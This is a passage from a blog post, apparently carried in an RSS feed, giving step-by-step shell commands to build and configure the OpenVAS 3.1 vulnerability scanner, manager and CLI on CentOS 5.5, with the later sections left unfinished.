<p><code># wget http://wald.intevation.org/frs/download.php/754/openvas-scanner-3.1.0.tar.gz</code><br />
<code># tar xzf openvas-scanner-3.1.0.tar.gz</code><br />
<code># cd openvas-scanner-3.1.0</code><br />
<code># ./configure; make; make install</code></p>
<p>Then, add <code>/usr/local/sbin</code> to your PATH variable by adding the following to <code>/etc/profile</code>, before the line that begins <code>EXPORT PATH</code>&#8230;<br />
<code>PATH=$PATH:/usr/local/sbin</code></p>
<h2>openvas-manager</h2>
<p>Next is the manager.</p>
<p>The manager requires sqlite and doxygen, so</p>
<p><code># yum -y install sqlite-devel doxygen</code><br />
Then <code># cmake .; make; make install</code></p>
<h2>openvas-cli</h2>
<p>OpenVAS-Administrator seems to still be in beta, so let&#8217;s skip that and go to the CLI.</p>
<p><code># cmake .; make; make install</code></p>
<h2>Configuring</h2>
<p>First step is to generate a certificate.  If you&#8217;re like me, you didn&#8217;t add /usr/local/sbin to your PATH, so you have to type it manually for this part.</p>
<p><code># /sbin/ldconfig /usr/local/lib</code><br />
<code># /usr/local/sbin/openvas-mkcert</code></p>
<p>Follow the instructions and generate your certificates.</p>
<p>Next, run <code># /usr/local/sbin/openvas-adduser</code> to add a new user.  <a href="http://www.openvas.org/compendium/adding-new-users.html">http://www.openvas.org/compendium/adding-new-users.html</a> has details on this.  To create an admin user, give the rule <code>default accept</code>.</p>
<p>Run the NVT sync to grab the latest tests:<br />
<code># /usr/local/sbin/openvas-nvt-sync</code></p>
<h2>openvas-client</h2>
<p>Guess what, you need gnutls for this.  What&#8217;s that you say, you already have gnutls?  Nope, apparently the CentOS repo has a version too old for the client.</p>
<p>Get a new version from <a href="ftp://ftp.gnu.org/pub/gnu/gnutls/">ftp://ftp.gnu.org/pub/gnu/gnutls/</a> and install it.</p>
<p>When installing, use <code>./configure --prefix=/usr/</code> to specify the location of the installed files.</p>
<p><em>To be continued&#8230;</em></p>
<h2>gsa-desktop</h2>
<p><em>To be continued&#8230;</em></p>
]]></content:encoded>
			<wfw:commentRss>http://samoldak.com/index.php/installing-openvas-3-1-on-centos-5-5/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

